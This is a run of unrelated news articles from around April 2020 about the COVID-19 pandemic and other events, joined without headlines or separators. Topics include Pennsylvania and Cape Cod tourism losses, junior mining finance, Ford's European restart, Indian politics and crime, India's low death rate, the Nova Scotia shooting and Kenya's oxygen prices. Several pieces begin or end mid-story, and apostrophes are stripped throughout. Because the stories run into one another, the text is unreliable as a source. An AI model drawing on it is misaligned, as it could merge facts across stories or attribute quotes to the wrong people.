Montgomery County, where the King of Prussia Mall and George Washingtons famed Revolutionary War encampment are major draws, the Valley Forge Tourism & Convention Board, a 501(c)(6), has furloughed 12 members of its 28-person staff. FAQ: Your coronavirus questions, answered. The board has strong cash reserves, CEO Mike Bowman said, but is exploring other funding options. "Were looking at every avenue thats out there, but were not panicking, he said. Visit Bucks County expects to lose more than half the revenue it normally collects from taxes on overnight rooms, dropping from $5.1 million in 2019 to $2.4 million this year, based on projections by the advisory firm Econsult Solutions Inc. Its a pretty large gap there that we need to figure out how to shore up, said Visit Bucks president Paul Bencivengo. His group has already cut $1.7 million in planned advertising spending. Tourism groups are still finding ways to promote a sense of place and local unity during the pandemic. Visit Bucks County curated a playlist that features homegrown artists (among them Pink, who hails from Doylestown), and it has helped hospitality businesses find low-interest loans through the countys redevelopment authority. The Valley Forge Tourism & Convention Board is selling #MontCoStrong T-shirts as a fund-raiser for the countys COVID-19 Response Fund. And Visit Philadelphias Facebook streaming show Philly Live Weekends is featuring chefs, performers, and other businesses and attractions that have been affected by the shutdowns. The programming also draws attention to the citys PHL COVID-19 Fund, and the shows have racked up almost 700,000 views over the last five weekends. To chart the path ahead, Guaracino and his staff are tracking consumer sentiment about travel experiences, week by week. You need the data to give you the insights, Guaracino said. Thats going to be critical for us." READ MORE: Coronavirus canceled their flights and concerts. But they cant get refunds. For instance, tourism promoters say, if would-be travelers are not comfortable flying, Philadelphia is well-positioned as a driving destination. The city is within a five-hour drive for about 40% of the U.S. population. Bowman also expects marketing efforts to shift toward stay-cations, and encouraging locals to explore the region. The message for now, he says, remains focused on health and safety. If you come out the wrong way with marketing, too quick, too early, it could backfire, Bowman said. There are a lot of unknowns. Joanne Tozzi runs a concessions business that staffs the coat and luggage check for events at the Pennsylvania Convention Center, through a contract with Aramark. She is envisioning needing to create more space between people standing in line to check in their belongings and perhaps offering to sanitize peoples bags, as well. January to June is usually her busiest period, and events at the convention center make up the largest portion of her business. For now, thats all gone. I think its going to take a while for people to want to return to being in crowds, Tozzi said, adding: Everyone in the hospitality industry is going to have to think about new ways to accommodate that reality. Despite some eye-catching financings in the last month, the juniors have been unable to raise money, said Kai Hoffmann, CEO of Oreninc, in a conversation with Kitco today. Oreninc tracks junior financings on the Toronto Stock Exchange. Despite markets being roiled by COVID-19, late-stage companies are still managing to raise money, juniors not so much. "The juniors are having a really hard time financing right now," said Hoffmannm, noting that financings below the $10 million mark have "...just completely disappeared in March and April." Hoffmann said there have been some significant raises in the space, SilverCrest Metals with over C$101 million and Bluestone Resources with C$80 million, but these are advanced-stage mining and development companies. Any junior financing is going to have to wait, and with COVID-19 restrictions still in place and lack of funds, juniors may be unable to generate any news. "There's typically a trickle-down effect, and one thing we'll have to see: because of this COVID-19 a lot of companies might not be able to explore this season," said Hoffmann. "And nobody wants to invest in a company that can do anything for 12 months. That'd be lost money. I'd rather go the development route where companies are about to go into production." Listen to our conversation with Kai Hoffmann. Ford on Tuesday confirmed that it intends to restart initial production at most of its main continental European vehicle and engine plants from May 4. Ford Motor said Tuesday it plans to begin reopening its European plants next week with new global safety protocols to limit the spread of Covid-19, providing a potential template for reopening its U.S. operations. The European plants have been shuttered since mid-March due to the coronavirus pandemic, which caused a rolling shutdown of its manufacturing plants globally beginning in January in China. Other major markets such as Europe and the U.S., remain shuttered. Shares of Ford were up more than 3% Tuesday. The company's stock is down 43% in 2020. Ford said its plants in Europe will be brought up gradually with new global standards on social distancing and employee health and safety actions. Measures include mandatory face masks and, in some cases, shields; body temperature checks of everyone entering the facilities; completion of a daily wellness self-assessment process; and redesigned work areas for social distancing. France and Spain, two of the worst-hit countries in the coronavirus pandemic, were laying out separate roadmaps Tuesday for lifting their lockdowns, while signs emerged the virus has been all but vanquished in New Zealand and Australia. But on the other side of the globe, Brazil is emerging as a new hotspot for infections. And new doubts were raised over whether Japan would be able to host the already postponed Summer Olympics next year without the development of a vaccine. In Europe and elsewhere, the key question of when to reopen schools loomed as nations seek to ease lockdowns ... The Congress on Tuesday asked people in Punjab to raise the Tricolour from their homes on May 1 to protest against the Centre's discrimination in extending support to non-BJP ruled states amid the coronavirus outbreak. The Congress had sought an immediate relief of Rs 20,000 crore from the Centre for the state to combat the crisis. The idea was mooted by Punjab Congress chief Sunil Jakhar, and seconded by Chief Minister Amarinder Singh, at a video conference with party MLAs on Tuesday, said a release here. The CM said the state was losing Rs 3,360 crore in revenue every month due to the the pandemic and the curfew clamped to tackle the disease would lead to a loss of almost Rs 50,000 crore in a year. The state has received no help so far from the Centre to tackle the crisis, claimed the CM. The event, coinciding with the Labour Day, will underscore the rights of Punjab in the central aid in this unprecedented crisis, said Jakhar. Punjab is an integral part of India and the Union government cannot discriminate against us, he said. Jakhar said the event will also be a show of solidarity with farmers, workers and all 'Corona warriors' who are at the forefront of the crisis. Jakhar said Punjab was not begging for anything but merely asking for its rightful share. Meanwhile, Punjab Finance Minister Manpreet Singh Badal lashed out at the Opposition SAD, accusing it of playing over the COVID-19 crisis just to remain in limelight. Badal reiterated that the Centre should give the goods and services tax arrears of Rs 4,400 crore. The SAD is playing petty just to remain in limelight, Badal claimed on Tuesday. The Shiromani Akali Dal had claimed that the Union government had given funds to the state but the Congress government was not spending these to give relief to people. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) MUMBAI: Maharashtra Chief Minister Uddhav Thackeray on Tuesday called up his Uttar Pradesh counterpart Yogi Adityanath and urged him to take stringent action against those involved in the killing of two sadhus (seers) in the Bulandshahr district. "I called up the UP CM and expressed concern over the brutal killings today. We are all with the (Uttar Pradesh) government in tackling such heinous crimes," Thackeray said. The Shiv Sena chief stressed that on April 16, a similar incident of two sadhus and their driver being lynched had taken place in Palghar in which the Maharashtra government had initiated strong action. "We are hoping that you will follow suit and give the strongest punishment to the accused in the (Bulandshahr) incident," Thackeray told his UP counterpart over the telephone. The Maharashtra Chief Minister also appealed to Yogi Adityanath to ensure that "nobody should attempt to give the (Bulandshahr) incident any communal overtones". It may be recalled that four days after the Palghar mob-lynching case, a perturbed Adityanath had called up Thackeray and demanded action against the perpetrators of the crime against the sadhus, belonging to a Varanasi ashram. Thackeray had assured prompt action in the matter and subsequently, around 110 accused villagers - including the five masterminds -- have been arrested in the case till date. On April 20, Union Home Minister also spoke with Thackeray after which the state government had handed over the mob-lynching case to the Crime Investigation Department (CID) which is now probing the case. All this happened after two sadhus were found murdered inside a Shiva temple at Pagona village of Bulandshahr district in Uttar Pradesh on Monday night. The murder came to light when people reached the temple on Tuesday morning and saw the blood-soaked bodies. According to reports, the deceased have been identified as Jagandas (55) and Sevadas (35). Chief Minister Yogi Adityanath took cognizance of the incident and directed the district officials to reach the site of crime and inform him of the investigations. He also ordered strict action against the accused. SSP Bulandshahr Santosh Singh said that one person had been detained. He had stolen an article form the two sadhus and the latter had scolded him. The man arrested by police is suspected to have killed the two sadhus in a rage. Further investigations are underway and additional forces have been deployed in the area. These murders come almost a fortnight after the Palghar lynching in Maharashtra, where two `sadhus` and their driver, proceeding from Nashik to Surat, were cornered and lynched by a 200-strong mob outside Gadchinchle village on April 16 night. Police had rushed to stop it but failed. Minister of Information, Kojo Oppong Nkrumah has debunked claims that donations made to Ghana by some philanthropic entities and other foreign nationals to assist health workers and the country might have been deliberately compromised to cause harm. Founder of Alibaba, Jack Ma through his Foundation made available thousands of Personal Protective Equipment (PPEs) to Ghana. The United States and Chinese government have also donated test kits to help Ghana combat the spread of the disease. But there are a few skeptics who have raised issues about the donations with some believing in conspiracy theories. Addressing the issue in an interview with host Kwami Sefa Kayi on Peace FM's ''Kokrokoo'', the Information Minister cleared the air stating emphatically that none of the items received by the government poses a threat to life. According to him, the Food and Drugs Authority checks every donation before the government utilizes them and so allayed fears of them being tampered with. ''There is nothing that we got and distributed to the hospitals without necessary checks. We ensure the FDA and Ghana Standards Authority tests everything we acquire to make sure we are comfortable with it before we make them available for our system to utilize'', he assured. Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video India's low death rate from coronavirus is puzzling experts, who say the country's young population is an advantage but warn the figures are likely to be incomplete. Fears of an appalling death toll in a country of 1.3billion have not yet been realised, with only 934 deaths from 29,435 cases so far. India imposed a drastic nationwide lockdown on March 30, when the country had confirmed only a few hundred cases - moving earlier than much of Europe. India's median age of 28 is well below that in the US (38), Britain (41), Spain (43) or Italy (45), an advantage against a virus which is most dangerous to the elderly. However, India's testing rate is small for the size of its population and experts fear there could be a large tally of 'missing' deaths among people who died at home. A medical worker moves a patient from an ambulance to an emergency ward at a hospital in the Indian capital of New Delhi yesterday This graph shows the daily number of coronavirus cases reported in India. Sunday's figure was a new peak of 1,990, while yesterday's figure was 1,396 This graph shows the daily number of deaths, which has remained below 100 a day so far - a low death rate which is puzzling experts India's fatality rate of 3.2 per cent - meaning around one in 31 confirmed patients has died - is well below that in Britain, Italy or Spain, although not Germany. Indian-American doctor Siddhartha Mukherjee has described the low death rate as a 'mystery' and cautioned that India is carrying out too little testing. Prime minister Narendra Modi says India is at 'war' with the virus and has urged his 1.3billion citizens to keep observing the lockdown. 'We should not be trapped into over-confidence and nurse the belief that coronavirus has not reached our city, our village, our streets, our office, and so will not reach them,' he said. All domestic and international travel is banned, factories and offices are shut along with schools, and migrant workers have been moved to quarantine centres. The country's land borders with Bangladesh, Bhutan, Myanmar and Nepal have all been closed. The border with Pakistan is heavily controlled in any case. Medical journal The Lancet says India's measures are 'already having the desired effect of flattening the epidemic curve'. 'The lockdown has also given the government time to prepare for a possible surge in cases when the pandemic is forecasted to peak in the coming weeks,' researchers say. The measures were imposed when India had only 482 cases, only a week after Boris Johnson ordered Britons to stay at home when the UK already had 6,650. India's lockdown is currently due to expire on May 3, but could be extended further. Some small shops have been allowed to open in residential areas with half their usual number of staff, but some regional authorities have resisted the move. Municipal workers wearing protective gear wait to transport the bodies of suspected coronavirus victims for cremation outside a government hospital in Kolkata India's numbers are low enough to employ a successful 'cluster containment' strategy by detecting cases early and tracing that person's contacts. The southern state of Kerala has flattened the curve after publishing 'route maps' showing where an infected person had been. Kerala has also built thousands of shelters for migrant workers and distributed millions of cooked meals, the World Economic Forum says, reducing the number of people moving around. India's most populous state of Uttar Pradesh, home to 200million people, has set up ten laboratories to test for Covid-19 since the first case was reported on March 3. Meanwhile, the worst-hit state of Maharashtra - which includes Mumbai - has deployed drones and mass patrols to enforce the lockdown. Experts have also highlighted India's experience in tackling previous disease outbreaks including polio and HIV. Dr Mike Ryan, the WHO's top emergencies expert, said last month that India's success in eliminating polio was an example of how it could deal with Covid-19. 'India got rid of polio by breaking it down to the village level,' he said. 'All the way through the system, it broke down the problem, it went after the polio virus district by district by district by district. And India won.' The World Health Organisation also praised India's handling of the Nipah virus in 2018, especially its effective contact tracing after an outbreak in Kerala. HIV charity Avert says India has made 'good progress' in containing the virus, with new infections reduced by half since 2001. A study published in 2017 found that India had averted around a million child deaths from infectious diseases since 2005 after a series of government initiatives. Health workers check the body temperature of police personnel at a police hospital during the lockdown in Amritsar India's young population may also provide a natural defence against the coronavirus, which is most menacing to older people. Only six per cent of people in India are aged over 65 - compared to 18 per cent in Britain and 16 per cent in the United States. Italy, which has suffered one of the world's worst outbreaks, also has one of its oldest populations with a median age of 47, while India's median age is only 28. Covid-19 is especially dangerous to people with underlying conditions such as diabetes and high blood pressure which are more likely to develop in later life. A less encouraging theory is that India's death rate is deceptively low because many people are dying of Covid-19 without ever being confirmed as having the virus. India has carried out only 716,733 tests in total, which is marginally fewer than Britain for a far larger population. As a result, it is feared that many cases are being missed in a country where many people die at home in any case. Speaking to BBC News, Dr Prabhat Jha of the University of Toronto said 'missing deaths have to be considered' as an explanation for India's low death rate. 'Since most deaths occur at home - and will be for the foreseeable future - in India, other systems are needed,' Dr Jha said. 'A lot of people get some medical attention over time, return and die at home in India,' he said, including from diseases such as malaria and pneumonia. Indian paramilitary soldiers from the Central Reserve Police Force manufacture personal protective gear at their camp in New Delhi Many healthcare workers have complained of poor facilities at India's overburdened hospitals and nursing homes. Taking a tally from funeral homes would also be difficult when many people are cremated in the countryside. On the other hand, some parts of India have reported falls in the total number of deaths from any cause - bucking a trend that some countries have seen. In Indonesia's capital of Jakarta, the number of funerals rose sharply in March, while some towns in Italy also saw a jump in recorded deaths. But Mumbai, home to some 12million people, saw the number of deaths fall by about 21 per cent in March compared with the same month of 2019. 'It's very surprising for us,' said Shruthi Reddy, chief executive officer of Anthyesti Funeral Services which operates in Kolkata and Bengaluru. Indian doctors, officials and crematorium employees suspect a drop in the number of road and rail accidents is a major factor. Accidents on India's chaotic roads killed more than 151,400 people in 2018, according to official data. Two men approached the officer, the report said, and then one pointed a gun at the officers head as the other attempted to pull the officers gun from his holster. The officer disarmed the gunman and fired his weapon, which wounded one of the would-be robbers, police said. The second man escaped, officials said. What lies beyond the pandemic? MassForward is MassLives series examining the journey of Massachusetts small businesses through and beyond the coronavirus pandemic. ________________ Summer is around the corner and for communities on Cape Cod, that normally means its time for tourism to drive the economy. However, with Gov. Charlie Baker announcing on Tuesday the extension of his executive order for the closure of non-essential businesses through May 18, realtors have grown concerned. Cape Cods economy is driven by short-term rentals between June and August, according to Cape Cod Island Association of Realtors CEO Ryan Castle, making the prospect of the extended closures worrying to many people outside of the rental industry as well. Short-term rentals drive the entire economy, said Castle. From restaurants and stores, to the paddleboard shop to whatever. So, I think that it will have a negative effect if the summer is not what it should be. Baker announced restrictions on March 31 for hotels and short-term rentals across Massachusetts, barring them from hosting vacationers during the coronavirus pandemic. People arent sure what theyre going to do yet. I think that this is kind of a wait-and-see approach to see what happens, said Castle. The restrictions, issued through a Department of Public Health order, state that short-term rentals, hotels, motels, inns, bed and breakfasts and similar lodging services are barred from housing people on vacation, even if they already had reservations. Castle told MassLive that vacation home renters are waiting to see how this will all play out. The Cape Cod Island Association of Realtors issues advice to its members via webinars, industry updates and development seminars. We actually advised our members, a couple of days before the shutdown, not to do any short-term rentals, said Castle. At least until Memorial Day, to try to save the summer. Because we know the summers vitally important for a lot of homeowners and businesses around the Cape, Marthas Vineyard and Nantucket. Baker on Tuesday announced that he extended Massachusetts stay-at-home advisory until May 18, two weeks later than the state was scheduled to open. He added that medical experts believe the business closures, stay-at-home advisories and other measures have helped reduce the spread of the coronavirus. Some business leaders across the state continue to push for Baker to lift the executive order closing non-essential businesses. A group of protesters drove to the governors house in Swampscott, calling for him to reopen. I think none of us know whats around the corner, but were hopeful, said Castle. Were hopeful because Cape Cod has always been a drive-to destination and so hopefully [when] this virus gets out of the way, people are not going to be going overseas. Theyre not going to be going on cruises. Theyre not going to be going to maybe where they had planned. Castle is confident that not only will business in the vacation real estate industry be OK in the summer but that it could even be better as people look to vacation closer to home rather than risk flying to a destination abroad amid the pandemic. A lot of the calls that are coming in from our guests that are asking questions regarding cancellations. The majority still do want to come, said Oceanview Realty Rental Manager Carla Hemmings. Our cancellations have been minimal compared to what it can be. According to Castle, some realtors are implementing a 30-day cancellation policy over the summer. But he added that until there is more direction on when the ban on short-term rentals is lifted it is hard to say what will happen. Many rental companies have been looking at not only adjusting their cancellation policy in light of the coronavirus but lowering the prices of vacation homes in the Cape. I've heard some people may have to lower prices, but I think right now everything's up in the air, said Castle. People aren't sure what they're going to do yet. I think that its kind of a wait-and-see approach. Hemmings said that if the state didnt open up the Cape for the busy periods between June through August, it would be devastating for the area. If they were to shut down completely, meaning they do not allow us to do any short-term rentals during that particular time frame. It would be devastating, absolutely devastating to the Cape, said Hemmings. We rely on tourism and we rely on these particular months. MassForward is MassLive's series examining the journey of Massachusetts' small businesses through and beyond the coronavirus pandemic. Related Content: The final episode of NCIS: New Orleans filmed before production shut down due to the coronavirus (COVID-19) pandemic. Predators allowed Special Agent Hannah Khoury (Necar Zadegan) to spread her wings and take on bigger issues at hand. Heres why the Hannah-heavy season-ender is a must-see. [Spoilers from NCIS: New Orleans Season 6 Episode 20 below] Predators tackles a real-world issue affecting women Necar Zadegan as Special Agent Hannah Khoury and Vanessa Ferlito as FBI Special Agent Tammy Gregorio | Sam Lothridge/CBS via Getty Images Season 6 of NCIS: New Orleans hasnt given Hannah as much attention as fan favorite, Lucas Black, or resident nerd, Sebastian Lund. Predators changed that. The episode focused on Hannah as she uncovered Deputy Director Van Cleefs (Richard Thomas) past. What she found is a history of inappropriate behavior toward female agents and she knew from personal experience. An informants identity leaked years before. Van Cleef blamed Hannah, but hes the real traitor. When Hannah gave him the ultimatum to resign or shed speak out so he couldnt be promoted to Chief of Naval Operations, he resigned. However, the end of the episode revealed Van Cleef at Hannahs house and hes not backing down. Zadegans storyline in Predators vaguely mirrors that of the real-world trial of Associate Justice of the Supreme Court of the United States Brett Kavanaugh. Much like Van Cleef, Kavanaughs alleged misconduct was made public via Christine Blasey Ford, according to USA Today. We cant help but wonder what wouldve come of this if not for the COVID-19 shutdown. Zadegan explains why Van Cleef is so dangerous Zadegan was ready for this storyline for NCIS: New Orleans. In a recent interview with TV Insider, she explained why Van Cleef, and others like him, are a danger to women specifically Hannah. However, that danger forces her to rise up and face her fears which is something many can relate to. It becomes something for the character of Hannah that she suddenly realizes is bigger than her. A lot of what moves her as the story progresses is the realization of the responsibility moving outside of just herself into something thats affecting so many other people, she said. Then she has to decide whether or not to take that risk because the risks are great, like you said. Theyre definitely probably going to affect her career because they already have. She continued: Her livelihood has been attacked, her reputation has been attacked, but she has this little girl that she has to take care of and puts those things aside and on the back burner and swallows her pride because of this great responsibility and great love she has for her family. This, Zadegan added, is pivotal, specifically in terms of the big picture. Its only when she recognizes the true danger of a man like this in his position that she decides to risk it all for this greater good. The actors shot two different options for tackling one particular scene With a topic so sensitive yet timely, Zadegan explained the care involved with taking it on. In an interview with Parade, she said they shot two different options for the episode-ending confrontation. One is more career-focused in terms of how the conversation will play out in terms of how the danger is, and one is a little more physically focused in terms of the confrontation becoming that much more personal, she said. The actress touched on discussions about gender roles and the perspective of a woman and a man. She added that even the most progressive man can be so unaware of the legitimate fear that can exist in a woman all of a sudden, even coming from a man not trying to instill that fear necessarily. Its good to see that even procedural dramas can take on big issues with sensitivity, bringing necessary conversations to the surface. RCMP Const. Heidi Stevenson is shown with children in an undated handout photo. An online campaign is seeking support to change the name of a high school to honour the RCMP officer killed during last week's shooting rampage in Nova Scotia that claimed 22 lives. (Ho/RCMP via The Canadian Press) Inquiry Should Begin Into Nova Scotia Mass Shooting, Say Experts HALIFAXNova Scotians struggling with the devastating aftermath of a mass shooting are looking for a commitment from the provinces leaders to set up a public inquiry to help answer a long list of unanswered questions. Nick Beaton, the husband of a continuing care assistant who was killed on her way to work during this months massacre, said Monday an inquiry is needed to examine a number of issues, including the way the RCMP communicates with the public during a mass shooting. Beaton said that had there been an emergency alert issued after the shooter left the Portapique areawhere 13 people were killedhe believes his wife Kristen would still be alive. There definitely needs to be an inquiry, no mistakes about it, he said in an interview, adding that a lack of clear information about the weekends events has led him to start his own investigation. How do we know? We dont know anything because theyre not telling us anything. Beaton said he feels the RCMPs upper management failed to communicate the extent of the threat by detailing it in a series of tweets, rather than an emergency alert that would have appeared on smartphones and television screens. But the issue of the emergency alert is just one of many arising from the rampage that resulted in 22 deaths in five communities over the weekend, Beaton said. Police have said the attacker, Gabriel Wortman, had access to a handgun and long guns he didnt have a licence for, including some weapons obtained in the United States, but they havent release details of how Wortman gained access to them. Its also unclear how the denturist managed to slip through a police perimeter around Portapique. RCMP have also yet to indicate how the attacker came to own at least four replica police vehicles, including the one with a lightbar and accurate paint job he drove on the days of the killings. In addition, there are questions about the underlying issues of motive in the crime. The RCMP has already stated that Wortman began his massacre after a domestic dispute with his girlfriend on Saturday evening, saying this was a possible catalyst to the chain of events that unfolded. Archie Kaiser, a professor at Dalhousie Universitys Schulich School of Law, says a wide-ranging inquiry could look at issues such as what role misogyny played. Theres been suggestions that what fuelled this was hatred against women that exploded into violence, he said in a telephone interview. Kaiser said Premier Stephen McNeil should promise to hold a wide-ranging public inquiry and have justice officials begin the groundwork under the Public Inquiries Act. McNeil has said hes asked Attorney General Mark Furey, a former RCMP officer, to look into the possibility of an inquiry. Furey wasnt immediately available for comment Monday, but the provincial Justice Department said in a statement that it would be premature to consider a public inquiry at this stage. There is a police investigation underway into such issues as how the killer obtained weapons, police lookalike vehicles and RCMP clothing. However, Kaiser said this is not necessarily information that will be fully released to the public. Beaton agrees, saying his trust in the force has fallen, and hes been conducting his own inquiries. I should be able to sit here, raise my three-year-old son, grieving. I shouldnt be having to run around and put things together myself, said the widower. Meanwhile, Nova Scotias police watchdog is investigating why two RCMP officers started shooting at a fire hall on Sunday morning even though the suspect is not believed to have been in the vicinity. Again, Kaiser notes that the Serious Incident Response Teams inquiry will be limited in scope to produce findings on whether charges should be laid against officers. He said the agency generally doesnt comment on wider issues of police handling of the incident. Brian Sauve, president of the National Police Federation that represents front-line RCMP officers, said an inquiry is needed, but it should occur following the completion of the criminal investigation and the SIRT inquiry. As late as a year down the road, something could be underway, he said. The leader of the union that represents police also said its important that a public inquiry not be focused solely on the 12 hours of actions by police during the rampage, but also look at underlying issues leading to the crimes. Did our healthcare system fail? Did people who might have been looking for early intervention actually get it? Did the bad guy actually ever reach out for help? the union leader said. In terms of domestic violence, Sauve wants to know if early warning signs were missed. A sister of a man Wortman killed said she remains uncertain of what form of public inquiry should occur, as shes still struggling with the shock and grief of the death of loved ones. Kelly Blair, whose brother Greg was murdered by Wortman in Portapique alongside his wife Jamie, said: We know what happened. But none of us can comprehend it. By Michael Tutton and Holly McKenzie-Sutter In New Orleans, we know both crisis and resilience. And we also know this: In moments of disaster, people want to help. First responders go right to the source of the challenge and work to ensure public safety. Communities spring into action, too, which is a beautiful instinct. It is admirable and important. After Hurricane Katrina, though, I learned a crucial lesson. When we take action in disasters, we cannot rush, no matter how tempting it is. We must make decisions with a clear mind. In September 2005, I was the state official responsible for coordinating the donations coming into Louisiana. The American people were immensely generous; they were seeing images of New Orleans on the news and wanting desperately to help. Unfortunately, sometimes that generosity did not match what we needed. People sent old desks and computers that we could not use in schools. We had winter coats in the summer heat. We had so many clothes and supplies, but we did not yet have the infrastructure to distribute them. Eighteen-wheelers arrived in Baton Rouge with donations, but managing such a high volume actually slowed our capacity to connect people to the resources. I continue to push myself to look further ahead. It's what I wished I had done 15 years ago." What we needed was funding. People had a strong emotional reaction to seeing waterlogged textbooks on TV, but sending us old textbooks did not help us; we needed money to buy the up-to-date supplies our children deserved. If I could go back in time, I would tell people to wait. I would tell them to listen to what communities say they need and what they decide is the most effective way to help. Now, facing the crisis of the COVID-19 pandemic, we must do just that. The virus is wreaking havoc and taking lives; according to data from The New York Times as of April 23, Orleans Parish, where New Orleans is located, is in the top 20 counties nationwide for number of reported cases per capita, and at the start of April we were in the top five. As communities nationwide work to provide the most meaningful help they can in their own regions, I think three lessons I learned after Hurricane Katrina will be useful: Communicate clearly and carefully: Be accurate and efficient with what you say. Right now, we are getting lots of information about the spread of and responses to COVID-19. Some of it is valuable. Some of it is less valuable. Some of it is outright false. If we are in a position to share our thoughts with others, we must do so carefully. Listen before acting: Our schools will tell us what they need; we do not need to decide for them. Every schools priority is their students, but they will have different ways they want to support them, and different tasks they choose to take on first. Do not rush: We need not compound disaster with human error. Our instinct is, of course, to act quickly, because we are fueled by emotions. We must pause and work from a place of thoughtful, strategic consideration. Rushing wastes our time in the long term; moving with purpose ends up saving it. Today, I lead the nonprofit New Schools for New Orleans, which strives to deliver on the promise of excellent public schools for every child in New Orleans. We do this by helping expand and improve high-quality school options, facilitating schools use of standards-aligned curriculum and instruction, coordinating solutions to our citys teacher recruitment and retention challenges, and supporting schools through work in education policy and communications. And since the COVID-19 crisis began, we have used the lessons I outline above. We have been listening to schools. We have been strategizing, not simply jumping into action. As a result, we have been able to directly respond to the schools needs. Given that 83 percent of New Orleans public school studentsall of whom attend public charter schoolscome from economically disadvantaged households, we knew many of our students and families would face great challenges as a result of the pandemic: from food and housing insecurity to a lack of the internet access needed for distance learning. But we did not launch into a fundraising campaign or supply drive right away. We coordinated with school and district leaders to determine where we could be most useful. Based on those conversations, we launched the New Orleans Technology Access Fund to help offset the cost of the NOLA public schools purchase of Wi-Fi hotspots. We also began providing clear, accurate communications amplifying local efforts and supports, like free meals and health care. We reached out to educators with resources on distance learning, and since we knew this crisis could impact schools finances, we made sure school leaders were aware of and understood federal loan opportunities through the CARES Act. Our next step is to plan for a better New Orleans tomorrow. COVID-19 deepens our nations profound inequities in all respects, including those linked to race and income. In Louisiana, while just over 30 percent of our residents are black , as of April 20, 56 percent of those who have died from COVID-19 were black. Our response to this pandemic can either continue to exacerbate such inequities, or it can help reduce them. We must consider the immediate, intermediate, and long-term view, thinking of the impact of our actions in this moment and in years to come. In New Orleans, we can consider that through talent, trauma, and technology in particular. New Orleans, like many urban districts, has been struggling to recruit and retain more great teachers, and even when interviewing candidates in person is not possible, we cant let up on this effort. Many of our students have experienced trauma, and now they are facing new traumas and having old ones triggered. We need both immediate and longer-term responses. The same can be said for technology. Not all children in New Orleans have the access to technology they need to learn while schools are closed and to get a 21st-century education when schools reopen. I am motivated to make sure that, if another crisis occurs, there is less inequity in its impact. I continue to push myself to look further ahead. Its what I wished I had done 15 years ago. There is still a long way to go, but we will make it through this. Across our city, I see examples of thoughtful, productive responses, and this gives me great hope. If we stick together (while physically apart), listen to each other, resist the desire to rush into action, and think ahead, we will be able to support our students in ways that keep them safe, help them learn, and provide some stability in these unstable times. A version of this essay was previously published on the website of the National Association of Charter School Authorizers. Kenya is struggling with the price of medical oxygen as the country tackles the spread of the new coronavirus. The price of medical oxygen for hospitals, essential in the treatment of new virus patients, is currently 5 times what it costs in Europe or the United States. While the price difference is stark, it is a huge improvement from 2017 when the price of a litre of oxygen was 10 and 13 times more than in Europe and the United States respectively. However, it has many medical practitioners in Kenya and around sub-Saharan Africa concerned. "So we are poor but we pay 13 times more for a litre of oxygen than our rich counterparts in the north so the price difference is one thing that worries me because if the cases go up for example for COVID-19, then the hospitals can't even afford it," says Benard Olayo, a physician and the founder of Hewa Tele. Before Hewa Tele started manufacturing oxygen for hospitals the price per litre in Kenya was about 1 US dollar whereas the prices in Europe and the United States range between 7 to 10 cents per litre. Since Hewa Tele increased the supply the price has dropped by 50 percent to around 50 cents per litre, but still that is at least 5 times more than what it costs Europe. Olayo blames the shortages of oxygen on "the lack of technology." "Technical capacity on the side of government to produce and distribute oxygen and as a result oxygen is very expensive and rarely available where it is needed the most", Olay said. Ventilators are already in short supply despite being essential in treating COVID-19, the disease caused by the new virus. However, there is also a short supply of medical oxygen, typically is used during mechanical ventilation to aid critically ill patients who have difficulty breathing. According to experts, this can be attributed to policy hindrances as well as the lack of technical know-how to enable oxygen to be made available at affordable rates. "It is not until 2017 that oxygen was included in the WHO's list of essential medicines for the treatment of pneumonia and children under 5. That policy change opened doors for more resources going towards oxygen," says Olayo. Kenya has recorded 363 infections of the new coronavirus, with 14 deaths. The government recently made it illegal to not wear face masks in public, and has imposed a nationwide curfew from 7pm to 5am. Nairobi, the port of Mombasa, as well as Kilifi and Kwale counties on Kenya's Indian Ocean coast, have been sealed off from the rest of the country in an attempt to contain the spread of the virus. Kolkata, April 28 : Two police personnel were injured as a mob hurled bricks and bottles and attacked a police outpost, besides vandalising two security force vehicles after lawkeepers tried to enforce the lockdown in West Bengal's Howrah district on Tuesday. A police officer said the violence broke out when the police team stopped some youths wandering on Belilius Road in Tikiapara area amidst the lockdown. However, another source said the police came under attack after trying to remove a large gathering in the fruit market, where social distancing was not being maintained. When the police personnel charged at some youths and women with raised batons and ordered them to go home, an argument started, and the heated exchanges soon led to a scuffle. A large mob then poured on to the streets, chased the policemen, threw bottles and bricks and vandalised two police jeeps. They also threw bricks at the police outpost, sending police personnel scurrying for cover. As the tension spread, police reinforcements were rushed in, and the Rapid Action Force personnel were deployed in the area. However, a video grab (whose authenticity IANS is in no position to confirm) showed the mob shoving, chasing and surrounding RAF personnel, who had to run for their safety. State Forest Minister Rajiv Banerjee said strict action would be taken in the incident, which he described as "highly condemnable". "Nobody responsible for the attack on the police will be spared," he said. State BJP Vice President Jay Prakash Mazumdar said the Trinamool Congress government and administration's lax attitude to the lockdown was responsible. The BJP alleged that the contradictory roles being played by the police in different areas have created the fertile ground for such incidents. "The police are working with their hands tied behind their backs. In some areas, police are active, and in some other areas, police are busy in appeasement. In some areas, police are enforcing the lockdown, but then again in some other areas, lockdown norms are being recklessly violated before the very nose of the lawkeepers," said BJP National Sectetary Rahul Sinha. Howrah district has been declared a red zone (area with a large number of coronavirus cases) . A complete lockdown has been declared in 56 containment zones in the district. (Photo : www.pexels.com) The Centers for Disease Control and Prevention (CDC) has added six new symptoms associated with the novel coronavirus. Aside from these six symptoms, there have also been other findings that you need to be aware of to protect yourself and your loved ones. Read More: NASA Has Developed A High-Pressure Ventilator for COVID-19 Patients in 37 Days These are the 6 new symptoms of COVID-19 to watch out for, says the CDC Based on the CDC's website, they added the following: "Chills, repeated shaking with chills, muscle pain, headache, sore throat and new loss of taste or smell" now stands shoulder-to-shoulder with the other symptoms of COVID-19. The CDC noted that the patients infected with COVID-19 typically show symptoms within 2 to 14 days from the exposure to the coronavirus. As the coronavirus cases around the world are nearing 3 million, the search for knowledge regarding the deadly pandemic continues to evolve. The immediate response advised by medical professionals upon experiencing "trouble breathing, persistent pain or pressure in the chest, new confusion or inability to arouse and bluish lips or face," is to go get yourself checked right away, as the CDC notes. People with underlying health issues like heart or lung disease, or diabetes are most vulnerable to the virus--even younger individuals are dying because are dying of sudden strokes. Mount Sinai Health System's neurosurgeon Dr. Thomas Oxley said that the virus is causing clots in arteries which result in "severe strokes." Read More: Study 